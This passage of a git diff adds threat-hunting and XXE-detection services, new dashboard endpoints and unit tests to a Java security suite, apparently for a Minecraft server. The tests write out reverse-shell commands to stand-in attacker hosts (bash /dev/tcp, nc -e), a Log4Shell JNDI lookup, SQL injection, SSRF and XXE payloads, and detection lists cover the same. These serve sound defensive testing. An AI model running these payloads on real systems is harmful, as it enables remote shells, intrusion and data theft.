status; + } + + public long getTotalFilesDeleted() { return totalFilesDeleted.get(); } + public long getTotalBytesWiped() { return totalBytesWiped.get(); } + + private static class DeletionRecord { + final String path; + final long fileSize; + final int passes; + final Instant timestamp; + + DeletionRecord(String path, long fileSize, int passes, Instant timestamp) { + this.path = path; + this.fileSize = fileSize; + this.passes = passes; + this.timestamp = timestamp; + } + } + + public static class DeletionResult { + private final boolean success; + private final int filesDeleted; + private final long bytesWiped; + private final String path; + private final List failedFiles; + private final String error; + + DeletionResult(boolean success, int filesDeleted, long bytesWiped, String path, + List failedFiles, String error) { + this.success = success; + this.filesDeleted = filesDeleted; + this.bytesWiped = bytesWiped; + this.path = path; + this.failedFiles = failedFiles != null ? failedFiles : List.of(); + this.error = error; + } + + public static DeletionResult success(String path, long size, int passes) { + return new DeletionResult(true, 1, size, path, List.of(), null); + } + + public static DeletionResult error(String error) { + return new DeletionResult(false, 0, 0, null, List.of(), error); + } + + public static DeletionResult warning(String warning) { + return new DeletionResult(true, 1, 0, null, List.of(), warning); + } + + public boolean isSuccess() { return success; } + public int getFilesDeleted() { return filesDeleted; } + public long getBytesWiped() { return bytesWiped; } + public String getPath() { return path; } + public List getFailedFiles() { return failedFiles; } + public String getError() { return error; } + } +} diff --git a/src/main/java/com/aluer/security/ThreatHuntingService.java b/src/main/java/com/aluer/security/ThreatHuntingService.java new file mode 100644 index 0000000..3b67f04 --- /dev/null +++ b/src/main/java/com/aluer/security/ThreatHuntingService.java @@ -0,0 +1,205 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class ThreatHuntingService { + + private final Map> huntResults = new ConcurrentHashMap<>(); + private final Map huntDefinitions = new ConcurrentHashMap<>(); + private final AtomicLong totalHunts = new AtomicLong(0); + private final AtomicLong totalFindings = new AtomicLong(0); + private final ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); + + public ThreatHuntingService() { + registerDefaultHunts(); + scheduler.scheduleAtFixedRate(this::runAllHunts, 300, 1800, TimeUnit.SECONDS); + } + + private void registerDefaultHunts() { + // Minecraft-specific threat hunting + huntDefinitions.put("UNUSUAL_LOGIN_TIMES", new HuntDefinition( + "Detect logins at unusual hours (2-5 AM server time)", + "MINECRAFT", HuntSeverity.MEDIUM)); + + huntDefinitions.put("RAPID_WORLD_CHANGES", new HuntDefinition( + "Detect rapid dimension hopping (potential X-ray or cheat)", + "MINECRAFT", HuntSeverity.HIGH)); + + huntDefinitions.put("SUSPICIOUS_COMMANDS", new HuntDefinition( + "Detect suspicious command execution patterns", + "COMMAND", HuntSeverity.HIGH)); + + huntDefinitions.put("PERSISTENCE_MECHANISMS", new HuntDefinition( + "Detect persistence mechanisms (cron, systemd, autostart)", + "HOST", HuntSeverity.CRITICAL)); + + huntDefinitions.put("LATERAL_MOVEMENT", new HuntDefinition( + "Detect lateral movement indicators (SSH, RDP, SMB connections)", + "NETWORK", HuntSeverity.CRITICAL)); + + huntDefinitions.put("PRIVILEGE_ESCALATION", new HuntDefinition( + "Detect privilege escalation attempts (sudo, su, setuid)", + "HOST", HuntSeverity.CRITICAL)); + + huntDefinitions.put("DATA_EXFILTRATION", new HuntDefinition( + "Detect large outbound data transfers to external IPs", + "NETWORK", HuntSeverity.CRITICAL)); + + huntDefinitions.put("CRYPTOMINING", new HuntDefinition( + "Detect cryptomining indicators (high CPU, mining pools, stratum)", + "HOST", HuntSeverity.HIGH)); + + huntDefinitions.put("WEBSHELL", new HuntDefinition( + "Detect webshell deployment (PHP/JSP shells in web directories)", + "WEB", HuntSeverity.CRITICAL)); + + huntDefinitions.put("BACKDOOR_ACCOUNT", new HuntDefinition( + "Detect newly created privileged user accounts", + "HOST", HuntSeverity.CRITICAL)); + } + + public HuntResult runHunt(String huntId, List dataSources) { + HuntDefinition def = huntDefinitions.get(huntId); + if (def == null) return null; + + List findings = new ArrayList<>(); + for (String data : dataSources) { + List result = huntForPatterns(def, data); + findings.addAll(result); + } + + HuntResult result = new HuntResult(huntId, def.name, def.category, def.severity, + Instant.now(), findings, dataSources.size()); + huntResults.computeIfAbsent(huntId, k -> new ArrayList<>()).add(result); + totalHunts.incrementAndGet(); + if (!findings.isEmpty()) totalFindings.addAndGet(findings.size()); + + return result; + } + + public void runAllHunts() { + // Placeholder: in a real environment, this would query SIEM, logs, and monitors + for (String huntId : huntDefinitions.keySet()) { + List data = List.of("dummy-data"); + runHunt(huntId, data); + } + } + + private List huntForPatterns(HuntDefinition def, String data) { + List findings = new ArrayList<>(); + String lower = data.toLowerCase(); + + switch (def.category) { + case "MINECRAFT": + if (lower.contains("joined the game") && lower.contains("02:") || lower.contains("03:") || lower.contains("04:")) { + findings.add("Unusual login time detected"); + } + break; + case "COMMAND": + if (lower.contains("/op ") || lower.contains("/deop ") || lower.contains("/stop")) { + findings.add("Suspicious command execution"); + } + break; + case "HOST": + if (lower.contains("crontab") || lower.contains("systemctl enable") + || lower.contains("update-rc.d") || lower.contains("chkconfig")) { + findings.add("Persistence mechanism detected"); + } + if (lower.contains("sudo su") || lower.contains("chmod u+s") || lower.contains("setuid")) { + findings.add("Privilege escalation attempt"); + } + break; + case "NETWORK": + if (lower.contains("ssh ") && lower.contains("root@")) { + findings.add("SSH lateral movement"); + } + break; + case "WEB": + if (lower.contains(".jsp") || (lower.contains(" getStatus() { + Map status = new LinkedHashMap<>(); + status.put("huntDefinitions", huntDefinitions.size()); + status.put("totalHunts", totalHunts.get()); + status.put("totalFindings", totalFindings.get()); + + Map byCategory = new LinkedHashMap<>(); + Map bySeverity = new LinkedHashMap<>(); + for (HuntDefinition def : huntDefinitions.values()) { + byCategory.merge(def.category, 1L, Long::sum); + bySeverity.merge(def.severity.name(), 1L, Long::sum); + } + status.put("huntsByCategory", byCategory); + status.put("huntsBySeverity", bySeverity); + + List> recent = new ArrayList<>(); + for (Map.Entry> e : huntResults.entrySet()) { + for (HuntResult r : e.getValue()) { + Map m = new LinkedHashMap<>(); + m.put("huntId", r.huntId); + m.put("name", r.huntName); + m.put("category", r.category); + m.put("severity", r.severity.name()); + m.put("findings", r.findings.size()); + m.put("time", r.timestamp.toString()); + recent.add(m); + } + } + recent.sort((a, b) -> b.get("time").toString().compareTo(a.get("time").toString())); + status.put("recentHunts", recent.subList(0, Math.min(recent.size(), 20))); + return status; + } + + public long getTotalHunts() { return totalHunts.get(); } + public long getTotalFindings() { return totalFindings.get(); } + + public enum HuntSeverity { LOW, MEDIUM, HIGH, CRITICAL } + + public static class HuntDefinition { + final String name; + final String category; + final HuntSeverity severity; + + HuntDefinition(String name, String category, HuntSeverity severity) { + this.name = name; + this.category = category; + this.severity = severity; + } + } + + public static class HuntResult { + public final String huntId; + public final String huntName; + public final String category; + public final HuntSeverity severity; + public final Instant timestamp; + public final List findings; + public final int dataSourcesProcessed; + + HuntResult(String huntId, String huntName, String category, HuntSeverity severity, + Instant timestamp, List findings, int dataSourcesProcessed) { + this.huntId = huntId; + this.huntName = huntName; + this.category = category; + this.severity = severity; + this.timestamp = timestamp; + this.findings = findings; + this.dataSourcesProcessed = dataSourcesProcessed; + } + } +} diff --git a/src/main/java/com/aluer/security/XXEProtectionService.java b/src/main/java/com/aluer/security/XXEProtectionService.java new file mode 100644 index 0000000..3e55de4 --- /dev/null +++ b/src/main/java/com/aluer/security/XXEProtectionService.java @@ -0,0 +1,158 @@ +package com.aluer.security; + +import org.springframework.stereotype.Service; + +import java.time.Instant; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.atomic.AtomicLong; + +@Service +public class XXEProtectionService { + + private final Map> detections = new ConcurrentHashMap<>(); + private final AtomicLong totalDetections = new AtomicLong(0); + + private static final List XXE_PATTERNS = List.of( + ">", "&xxe;", "&lol;", + "%remote;", "%param1;", " BILLION_LAUGHS_PATTERNS = List.of( + "&a1;", "&a2;", "&a3;", "&a4;", "&a5;", + "&lol1;", "&lol2;", "&lol3;", "&lol4;", "&lol5;", + "&lol6;", "&lol7;", "&lol8;", "&lol9;" + ); + + public XXECheckResult checkXML(String xmlContent, String sourceIP) { + if (xmlContent == null || xmlContent.trim().isEmpty()) return XXECheckResult.clean(); + + List matched = new ArrayList<>(); + boolean isBillionLaughs = false; + + String lower = xmlContent.toLowerCase().trim(); + if (!lower.startsWith("= 3) { + isBillionLaughs = true; + matched.add("BILLION_LAUGHS_ATTACK"); + } + + // Check for external entity reference + if (lower.contains("system \"") || lower.contains("system '")) { + matched.add("EXTERNAL_ENTITY"); + } + + // Check for entity expansion bomb + if (countOccurrences(lower, "= 5) { + matched.add("ENTITY_EXPANSION_BOMB"); + } + + if (!matched.isEmpty()) { + XXEEvent event = new XXEEvent(Instant.now(), sourceIP, xmlContent.length() > 200 ? xmlContent.substring(0, 200) : xmlContent, + matched, isBillionLaughs); + detections.computeIfAbsent(sourceIP, k -> new ArrayList<>()).add(event); + totalDetections.incrementAndGet(); + return XXECheckResult.blocked(matched, isBillionLaughs); + } + + return XXECheckResult.clean(); + } + + public String sanitizeXML(String xmlContent) { + if (xmlContent == null) return null; + return xmlContent + .replaceAll("(?i)]*>", "") + .replaceAll("(?i)]*>", "") + .replaceAll("(?i)SYSTEM\\s+[\"'][^\"']*[\"']", "SYSTEM \"blocked\""); + } + + public Map getStatus() { + Map status = new LinkedHashMap<>(); + status.put("totalDetections", totalDetections.get()); + status.put("trackedSources", detections.size()); + List> recent = new ArrayList<>(); + for (Map.Entry> e : detections.entrySet()) { + for (XXEEvent event : e.getValue()) { + Map m = new LinkedHashMap<>(); + m.put("source", e.getKey()); + m.put("patterns", event.matchedPatterns); + m.put("billionLaughs", event.isBillionLaughs); + m.put("time", event.timestamp.toString()); + m.put("snippet", event.snippet); + recent.add(m); + } + } + recent.sort((a, b) -> b.get("time").toString().compareTo(a.get("time").toString())); + status.put("recentDetections", recent.subList(0, Math.min(recent.size(), 20))); + return status; + } + + public long getTotalDetections() { return totalDetections.get(); } + + private int countOccurrences(String text, String pattern) { + int count = 0; + int idx = 0; + while ((idx = text.indexOf(pattern, idx)) != -1) { + count++; + idx += pattern.length(); + } + return count; + } + + private static class XXEEvent { + final Instant timestamp; + final String sourceIP; + final String snippet; + final List matchedPatterns; + final boolean isBillionLaughs; + + XXEEvent(Instant timestamp, String sourceIP, String snippet, List matchedPatterns, boolean isBillionLaughs) { + this.timestamp = timestamp; + this.sourceIP = sourceIP; + this.snippet = snippet; + this.matchedPatterns = matchedPatterns; + this.isBillionLaughs = isBillionLaughs; + } + } + + public static class XXECheckResult { + private final boolean blocked; + private final boolean isBillionLaughs; + private final List matchedPatterns; + + private XXECheckResult(boolean blocked, List matchedPatterns, boolean isBillionLaughs) { + this.blocked = blocked; + this.matchedPatterns = matchedPatterns; + this.isBillionLaughs = isBillionLaughs; + } + + public static XXECheckResult clean() { return new XXECheckResult(false, List.of(), false); } + public static XXECheckResult blocked(List matchedPatterns, boolean isBillionLaughs) { + return new XXECheckResult(true, matchedPatterns, isBillionLaughs); + } + + public boolean isBlocked() { return blocked; } + public boolean isBillionLaughs() { return isBillionLaughs; } + public List getMatchedPatterns() { return matchedPatterns; } + } +} diff --git a/src/main/java/com/aluer/web/DashboardController.java b/src/main/java/com/aluer/web/DashboardController.java index 6ef9ca5..265fd2a 100644 --- a/src/main/java/com/aluer/web/DashboardController.java +++ b/src/main/java/com/aluer/web/DashboardController.java @@ -8,11 +8,12 @@ import com.aluer.notification.AttackReportService; import com.aluer.notification.WebhookService; import com.aluer.punishment.PunishmentService; import com.aluer.profiler.PerformanceProfiler; -import com.aluer.security.NetworkThreatFusionService; +import com.aluer.security.*; import com.aluer.service.RconClient; import com.aluer.world.WorldManagementService; import org.springframework.web.bind.annotation.*; +import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; @@ -33,7 +34,29 @@ public class DashboardController { private final HealthService healthService; private final AttackReportService attackReportService; private final WebhookService webhookService; + // New super-evolution security modules + private final JwtAuthService jwtAuthService; + private final BruteForceProtectionService bruteForceProtectionService; + private final AntiBotDetectionService antiBotDetectionService; + private final ReverseShellDetectionService reverseShellDetectionService; + private final ARPSpoofDetectionService arpSpoofDetectionService; + private final DNSTunnelDetectionService dnsTunnelDetectionService; + private final ExploitSignatureService exploitSignatureService; + private final SSRFProtectionService ssrfProtectionService; + private final XXEProtectionService xxeProtectionService; + private final CSPEnforcementService cspEnforcementService; + private final DatabaseFirewallService databaseFirewallService; + private final DataLossPreventionService dataLossPreventionService; + private final MemoryProtectionService memoryProtectionService; + private final ProcessInjectionDetectionService processInjectionDetectionService; + private final SecureFileDeletionService secureFileDeletionService; + private final ForensicsCollectorService forensicsCollectorService; + private final IncidentResponseService incidentResponseService; + private final ThreatHuntingService threatHuntingService; + private final ComplianceScannerService complianceScannerService; + private final AntiGriefDetectionService antiGriefDetectionService; + @SuppressWarnings("java:S107") public DashboardController( RconClient rconClient, PerformanceProfiler profiler, @@ -46,7 +69,27 @@ public class DashboardController { NetworkThreatFusionService networkThreatFusionService, HealthService healthService, AttackReportService attackReportService, - WebhookService webhookService) { + WebhookService webhookService, + JwtAuthService jwtAuthService, + BruteForceProtectionService bruteForceProtectionService, + AntiBotDetectionService antiBotDetectionService, + ReverseShellDetectionService reverseShellDetectionService, + ARPSpoofDetectionService arpSpoofDetectionService, + DNSTunnelDetectionService dnsTunnelDetectionService, + ExploitSignatureService exploitSignatureService, + SSRFProtectionService ssrfProtectionService, + XXEProtectionService xxeProtectionService, + CSPEnforcementService cspEnforcementService, + DatabaseFirewallService databaseFirewallService, + DataLossPreventionService dataLossPreventionService, + MemoryProtectionService memoryProtectionService, + ProcessInjectionDetectionService processInjectionDetectionService, + SecureFileDeletionService secureFileDeletionService, + ForensicsCollectorService forensicsCollectorService, + IncidentResponseService incidentResponseService, + ThreatHuntingService threatHuntingService, + ComplianceScannerService complianceScannerService, + AntiGriefDetectionService antiGriefDetectionService) { this.rconClient = rconClient; this.profiler = profiler; this.backupService = backupService; @@ -59,6 +102,26 @@ public class DashboardController { this.healthService = healthService; this.attackReportService = attackReportService; this.webhookService = webhookService; + this.jwtAuthService = jwtAuthService; + this.bruteForceProtectionService = bruteForceProtectionService; + this.antiBotDetectionService = antiBotDetectionService; + this.reverseShellDetectionService = reverseShellDetectionService; + this.arpSpoofDetectionService = arpSpoofDetectionService; + this.dnsTunnelDetectionService = dnsTunnelDetectionService; + this.exploitSignatureService = exploitSignatureService; + this.ssrfProtectionService = ssrfProtectionService; + this.xxeProtectionService = xxeProtectionService; + this.cspEnforcementService = cspEnforcementService; + this.databaseFirewallService = databaseFirewallService; + this.dataLossPreventionService = dataLossPreventionService; + this.memoryProtectionService = memoryProtectionService; + this.processInjectionDetectionService = processInjectionDetectionService; + this.secureFileDeletionService = secureFileDeletionService; + this.forensicsCollectorService = forensicsCollectorService; + this.incidentResponseService = incidentResponseService; + this.threatHuntingService = threatHuntingService; + this.complianceScannerService = complianceScannerService; + this.antiGriefDetectionService = antiGriefDetectionService; } @GetMapping("/status") @@ -222,4 +285,143 @@ public class DashboardController { response.put("status", "sent"); return response; } + + // --- Super-Evolution New API Endpoints --- + + @GetMapping("/security/auth/status") + public Map getAuthStatus() { + Map response = new HashMap<>(); + response.put("activeTokens", jwtAuthService.getActiveTokenCount()); + response.put("revokedTokens", jwtAuthService.getRevokedTokenCount()); + return response; + } + + @GetMapping("/security/brute-force/status") + public Map getBruteForceStatus() { + return bruteForceProtectionService.getStatus(); + } + + @GetMapping("/security/anti-bot/status") + public Map getAntiBotStatus() { + return antiBotDetectionService.getStatus(); + } + + @GetMapping("/security/reverse-shell/status") + public Map getReverseShellStatus() { + return reverseShellDetectionService.getStatus(); + } + + @GetMapping("/security/arp-spoof/status") + public Map getARPSpoofStatus() { + return arpSpoofDetectionService.getStatus(); + } + + @GetMapping("/security/dns-tunnel/status") + public Map getDNSTunnelStatus() { + return dnsTunnelDetectionService.getStatus(); + } + + @GetMapping("/security/exploit-signature/status") + public Map getExploitSignatureStatus() { + return exploitSignatureService.getStatus(); + } + + @PostMapping("/security/exploit-signature/scan") + public Map scanForExploits(@RequestParam String content, @RequestParam(defaultValue = "api") String source) { + ExploitSignatureService.ExploitCheckResult result = exploitSignatureService.scan(content, source, "api-scan"); + Map response = new HashMap<>(); + response.put("blocked", result.isBlocked()); + response.put("detected", result.isDetected()); + if (result.getMatches() != null) { + List> matches = new ArrayList<>(); + for (ExploitSignatureService.ExploitMatch m : result.getMatches()) { + Map mm = new HashMap<>(); + mm.put("name", m.getName()); + mm.put("severity", m.getSeverity().name()); + mm.put("description", m.getDescription()); + matches.add(mm); + } + response.put("matches", matches); + } + return response; + } + + @GetMapping("/security/ssrf/status") + public Map getSSRFStatus() { + return ssrfProtectionService.getStatus(); + } + + @GetMapping("/security/xxe/status") + public Map getXXEStatus() { + return xxeProtectionService.getStatus(); + } + + @GetMapping("/security/csp/status") + public Map getCSPStatus() { + return cspEnforcementService.getStatus(); + } + + @GetMapping("/security/csp/headers") + public Map getCSPHeaders() { + Map response = new HashMap<>(); + response.put("headers", cspEnforcementService.getSecurityHeaders()); + return response; + } + + @GetMapping("/security/database-firewall/status") + public Map getDatabaseFirewallStatus() { + return databaseFirewallService.getStatus(); + } + + @GetMapping("/security/dlp/status") + public Map getDLPStatus() { + return dataLossPreventionService.getStatus(); + } + + @GetMapping("/security/memory/status") + public Map getMemoryProtectionStatus() { + Map status = memoryProtectionService.getStatus(); + MemoryProtectionService.MemoryCheckResult check = memoryProtectionService.checkMemory(); + status.put("heapRatio", check.getHeapRatio()); + status.put("heapUsedMB", check.getHeapUsedMB()); + status.put("heapMaxMB", check.getHeapMaxMB()); + status.put("gcTimeMs", check.getGcTimeMs()); + status.put("warnings", check.getWarnings()); + return status; + } + + @GetMapping("/security/process-injection/status") + public Map getProcessInjectionStatus() { + return processInjectionDetectionService.getStatus(); + } + + @GetMapping("/security/secure-delete/status") + public Map getSecureDeleteStatus() { + return secureFileDeletionService.getStatus(); + } + + @GetMapping("/security/forensics/status") + public Map getForensicsStatus() { + return forensicsCollectorService.getStatus(); + } + + @GetMapping("/security/incident-response/status") + public Map getIncidentResponseStatus() { + return incidentResponseService.getStatus(); + } + + @GetMapping("/security/threat-hunting/status") + public Map getThreatHuntingStatus() { + return threatHuntingService.getStatus(); + } + + @GetMapping("/security/compliance/status") + public Map getComplianceStatus() { + return complianceScannerService.getStatus(); + } + + @GetMapping("/security/anti-grief/status") + public Map getAntiGriefStatus() { + return antiGriefDetectionService.getStatus(); + } } diff --git a/src/test/java/com/aluer/security/SuperEvolutionSecurityTest.java b/src/test/java/com/aluer/security/SuperEvolutionSecurityTest.java new file mode 100644 index 0000000..eb3c395 --- /dev/null +++ b/src/test/java/com/aluer/security/SuperEvolutionSecurityTest.java @@ -0,0 +1,496 @@ +package com.aluer.security; + +import org.junit.jupiter.api.Test; +import java.util.*; +import static org.junit.jupiter.api.Assertions.*; + +class SuperEvolutionSecurityTest { + + // --- JwtAuthService Tests --- + @Test + void jwtTokenCreateAndValidate() { + JwtAuthService jwt = new JwtAuthService(); + String token = jwt.createToken("admin"); + assertNotNull(token); + assertTrue(token.contains(".")); + + JwtAuthService.TokenValidationResult result = jwt.validateToken(token); + assertTrue(result.isValid()); + assertEquals("admin", result.getSubject()); + assertEquals(1, jwt.getActiveTokenCount()); + } + + @Test + void jwtTokenRejectsInvalidSignature() { + JwtAuthService jwt = new JwtAuthService(); + String token = jwt.createToken("admin"); + String tampered = token.substring(0, token.length() - 4) + "XXXX"; + + JwtAuthService.TokenValidationResult result = jwt.validateToken(tampered); + assertFalse(result.isValid()); + } + + @Test + void jwtTokenRejectsNull() { + JwtAuthService jwt = new JwtAuthService(); + JwtAuthService.TokenValidationResult result = jwt.validateToken(null); + assertFalse(result.isValid()); + assertEquals("Malformed token", result.getReason()); + } + + @Test + void jwtTokenRevocation() { + JwtAuthService jwt = new JwtAuthService(); + String token = jwt.createToken("player1"); + JwtAuthService.TokenValidationResult valid = jwt.validateToken(token); + assertTrue(valid.isValid()); + + jwt.revokeToken(valid.getJti()); + JwtAuthService.TokenValidationResult revoked = jwt.validateToken(token); + assertFalse(revoked.isValid()); + assertEquals("Token revoked", revoked.getReason()); + } + + @Test + void jwtTokenCleanup() { + JwtAuthService jwt = new JwtAuthService(); + jwt.createToken("test"); + jwt.cleanupExpired(); + // Token should still be valid since it's not expired yet + assertTrue(jwt.getActiveTokenCount() >= 1); + } + + // --- BruteForceProtectionService Tests --- + @Test + void bruteForceDetectsRepeatedFailures() { + BruteForceProtectionService bf = new BruteForceProtectionService(); + + // 5 failures should trigger block + for (int i = 0; i < 5; i++) { + bf.recordFailedAttempt("testuser", "192.168.1.100"); + } + + BruteForceProtectionService.AuthResult result = bf.checkLoginAttempt("testuser", "192.168.1.100", "SSH"); + assertFalse(result.isAllowed()); + assertTrue(result.isBruteForceDetected()); + assertEquals(1, bf.getTrackedAccountCount()); + } + + @Test + void bruteForceAllowsFirstAttempt() { + BruteForceProtectionService bf = new BruteForceProtectionService(); + BruteForceProtectionService.AuthResult result = bf.checkLoginAttempt("newuser", "10.0.0.1", "WEB"); + assertTrue(result.isAllowed()); + assertTrue(result.getProgressiveDelayMs() >= 0); + } + + @Test + void bruteForceUnblockResetsState() { + BruteForceProtectionService bf = new BruteForceProtectionService(); + for (int i = 0; i < 5; i++) { + bf.recordFailedAttempt("testuser2", "192.168.1.101"); + } + bf.checkLoginAttempt("testuser2", "192.168.1.101", "SSH"); + + bf.unblock("testuser2"); + BruteForceProtectionService.AuthResult result = bf.checkLoginAttempt("testuser2", "192.168.1.101", "SSH"); + assertTrue(result.isAllowed()); + } + + // --- AntiBotDetectionService Tests --- + @Test + void antiBotDetectsBotNamePattern() { + AntiBotDetectionService bot = new AntiBotDetectionService(); + AntiBotDetectionService.BotCheckResult result = bot.checkPlayerJoin("abc1234", "10.0.0.50", "vanilla"); + assertTrue(result.isSuspicious() || result.isDetected()); + } + + @Test + void antiBotDetectsBotPrefix() { + AntiBotDetectionService bot = new AntiBotDetectionService(); + AntiBotDetectionService.BotCheckResult result = bot.checkPlayerJoin("Bot_Attacker", "10.0.0.60", "vanilla"); + assertTrue(result.isSuspicious() || result.isDetected()); + } + + @Test + void antiBotAllowsNormalPlayer() { + AntiBotDetectionService bot = new AntiBotDetectionService(); + AntiBotDetectionService.BotCheckResult result = bot.checkPlayerJoin("PlayerName", "10.0.0.70", "vanilla"); + assertFalse(result.isBlocked() && result.isDetected()); + } + + @Test + void antiBotDetectsSuspiciousClient() { + AntiBotDetectionService bot = new AntiBotDetectionService(); + AntiBotDetectionService.BotCheckResult result = bot.checkPlayerJoin("TestPlayer", "10.0.0.80", "HackedClient_v2"); + assertTrue(result.isSuspicious() || result.isDetected()); + } + + // --- ReverseShellDetectionService Tests --- + @Test + void reverseShellDetectsBashTCP() { + ReverseShellDetectionService rs = new ReverseShellDetectionService(); + ReverseShellDetectionService.DetectionResult result = rs.scanCommand( + "bash -i >& /dev/tcp/evil.com/4444 0>&1", "attacker", "192.168.1.1"); + assertTrue(result.isThreat()); + assertEquals(ReverseShellDetectionService.ShellSeverity.CRITICAL, result.getSeverity()); + } + + @Test + void reverseShellDetectsNetcat() { + ReverseShellDetectionService rs = new ReverseShellDetectionService(); + ReverseShellDetectionService.DetectionResult result = rs.scanCommand( + "nc -e /bin/bash attacker.com 1234", "attacker", "192.168.1.2"); + assertTrue(result.isThreat()); + } + + @Test + void reverseShellAllowsSafeCommand() { + ReverseShellDetectionService rs = new ReverseShellDetectionService(); + ReverseShellDetectionService.DetectionResult result = rs.scanCommand( + "list players online", "admin", "127.0.0.1"); + assertFalse(result.isThreat()); + } + + // --- ARPSpoofDetectionService Tests --- + @Test + void arpSpoofStatusReturnsData() { + ARPSpoofDetectionService arp = new ARPSpoofDetectionService(); + var status = arp.getStatus(); + assertNotNull(status); + assertTrue(status.containsKey("arpCacheSize")); + assertTrue(status.containsKey("totalSpoofDetections")); + assertTrue(status.get("totalSpoofDetections") instanceof Long); + } + + // --- DNSTunnelDetectionService Tests --- + @Test + void dnsTunnelDetectsHighEntropy() { + DNSTunnelDetectionService dns = new DNSTunnelDetectionService(); + DNSTunnelDetectionService.TunnelCheckResult result = dns.checkDNSQuery( + "10.0.0.1", "dGhpcyBpcyBhIHR1bm5lbCB0ZXN0LmV4YW1wbGUuY29t.xyz", "A"); + assertTrue(result.isSuspicious() || result.isDetected()); + } + + @Test + void dnsTunnelDetectsSuspiciousTLD() { + DNSTunnelDetectionService dns = new DNSTunnelDetectionService(); + DNSTunnelDetectionService.TunnelCheckResult result = dns.checkDNSQuery( + "10.0.0.2", "dGhpc2lzYXR1bm5lbHRlc3RkYXRhZXhmaWx0cmF0aW9uZXhhbXBsZQ.malicious.xyz", "TXT"); + assertTrue(result.isSuspicious() || result.isDetected()); + } + + @Test + void dnsTunnelAllowsNormalDNS() { + DNSTunnelDetectionService dns = new DNSTunnelDetectionService(); + DNSTunnelDetectionService.TunnelCheckResult result = dns.checkDNSQuery( + "10.0.0.3", "api.minecraft.net", "A"); + assertFalse(result.isBlocked()); + } + + // --- ExploitSignatureService Tests --- + @Test + void exploitSignatureDetectsLog4Shell() { + ExploitSignatureService exploit = new ExploitSignatureService(); + ExploitSignatureService.ExploitCheckResult result = exploit.scan( + "${jndi:ldap://evil.com/a}", "10.0.0.1", "chat-message"); + assertTrue(result.isDetected()); + } + + @Test + void exploitSignatureDetectsSQLInjection() { + ExploitSignatureService exploit = new ExploitSignatureService(); + ExploitSignatureService.ExploitCheckResult result = exploit.scan( + "' OR 1=1 -- DROP TABLE users", "10.0.0.2", "api-input"); + assertTrue(result.isDetected()); + } + + @Test + void exploitSignatureDetectsXSS() { + ExploitSignatureService exploit = new ExploitSignatureService(); + ExploitSignatureService.ExploitCheckResult result = exploit.scan( + "", "10.0.0.3", "user-input"); + assertTrue(result.isDetected()); + } + + @Test + void exploitSignatureAllowsCleanInput() { + ExploitSignatureService exploit = new ExploitSignatureService(); + ExploitSignatureService.ExploitCheckResult result = exploit.scan( + "Hello, welcome to the server!", "10.0.0.4", "chat"); + assertFalse(result.isDetected()); + } + + @Test + void exploitSignatureHasSignatures() { + ExploitSignatureService exploit = new ExploitSignatureService(); + assertTrue(exploit.getSignatureCount() > 5); + } + + // --- SSRFProtectionService Tests --- + @Test + void ssrfBlocksLocalhost() { + SSRFProtectionService ssrf = new SSRFProtectionService(); + SSRFProtectionService.SSRFCheckResult result = ssrf.checkURL( + "http://127.0.0.1/admin", "10.0.0.1"); + assertTrue(result.isBlocked()); + } + + @Test + void ssrfBlocksMetadataEndpoint() { + SSRFProtectionService ssrf = new SSRFProtectionService(); + SSRFProtectionService.SSRFCheckResult result = ssrf.checkURL( + "http://169.254.169.254/latest/meta-data/", "10.0.0.2"); + assertTrue(result.isBlocked()); + } + + @Test + void ssrfBlocksFileScheme() { + SSRFProtectionService ssrf = new SSRFProtectionService(); + SSRFProtectionService.SSRFCheckResult result = ssrf.checkURL( + "file:///etc/passwd", "10.0.0.3"); + assertTrue(result.isBlocked()); + } + + @Test + void ssrfAllowsExternalURL() { + SSRFProtectionService ssrf = new SSRFProtectionService(); + SSRFProtectionService.SSRFCheckResult result = ssrf.checkURL( + "https://api.minecraft.net/session", "10.0.0.4"); + assertFalse(result.isBlocked()); + } + + // --- XXEProtectionService Tests --- + @Test + void xxeDetectsEntityDeclaration() { + XXEProtectionService xxe = new XXEProtectionService(); + XXEProtectionService.XXECheckResult result = xxe.checkXML( + "]>", "10.0.0.1"); + assertTrue(result.isBlocked()); + } + + @Test + void xxeAllowsSafeXML() { + XXEProtectionService xxe = new XXEProtectionService(); + XXEProtectionService.XXECheckResult result = xxe.checkXML( + "Player10", "10.0.0.2"); + assertFalse(result.isBlocked()); + } + + // --- CSPEnforcementService Tests --- + @Test + void cspGeneratesSecurityHeaders() { + CSPEnforcementService csp = new CSPEnforcementService(); + var headers = csp.getSecurityHeaders(); + assertTrue(headers.containsKey("X-Frame-Options")); + assertEquals("DENY", headers.get("X-Frame-Options")); + assertTrue(headers.containsKey("X-Content-Type-Options")); + } + + @Test + void cspDetectsXSSPattern() { + CSPEnforcementService csp = new CSPEnforcementService(); + CSPEnforcementService.CSPCheckResult result = csp.checkRequest( + "/api/comment", Map.of(), ""); + assertTrue(result.isBlocked()); + } + + // --- DatabaseFirewallService Tests --- + @Test + void databaseFirewallBlocksDropTable() { + DatabaseFirewallService db = new DatabaseFirewallService(); + DatabaseFirewallService.QueryCheckResult result = db.checkQuery( + "DROP TABLE players;", "10.0.0.1", "minecraft"); + assertTrue(result.isBlocked()); + } + + @Test + void databaseFirewallDetectsInjection() { + DatabaseFirewallService db = new DatabaseFirewallService(); + DatabaseFirewallService.QueryCheckResult result = db.checkQuery( + "SELECT * FROM users WHERE id = 1 OR 1=1 -- ", "10.0.0.2", "minecraft"); + assertTrue(result.isBlocked()); + } + + @Test + void databaseFirewallAllowsSafeQuery() { + DatabaseFirewallService db = new DatabaseFirewallService(); + DatabaseFirewallService.QueryCheckResult result = db.checkQuery( + "SELECT name, level FROM players WHERE online = 1", "127.0.0.1", "minecraft"); + assertFalse(result.isBlocked()); + } + + // --- DataLossPreventionService Tests --- + @Test + void dlpDetectsEmailLeak() { + DataLossPreventionService dlp = new DataLossPreventionService(); + DataLossPreventionService.DLPCheckResult result = dlp.scan( + "My email is admin@example.com", "chat", "minecraft-chat"); + assertTrue(result.isDetected()); + } + + @Test + void dlpDetectsAPIKeyLeak() { + DataLossPreventionService dlp = new 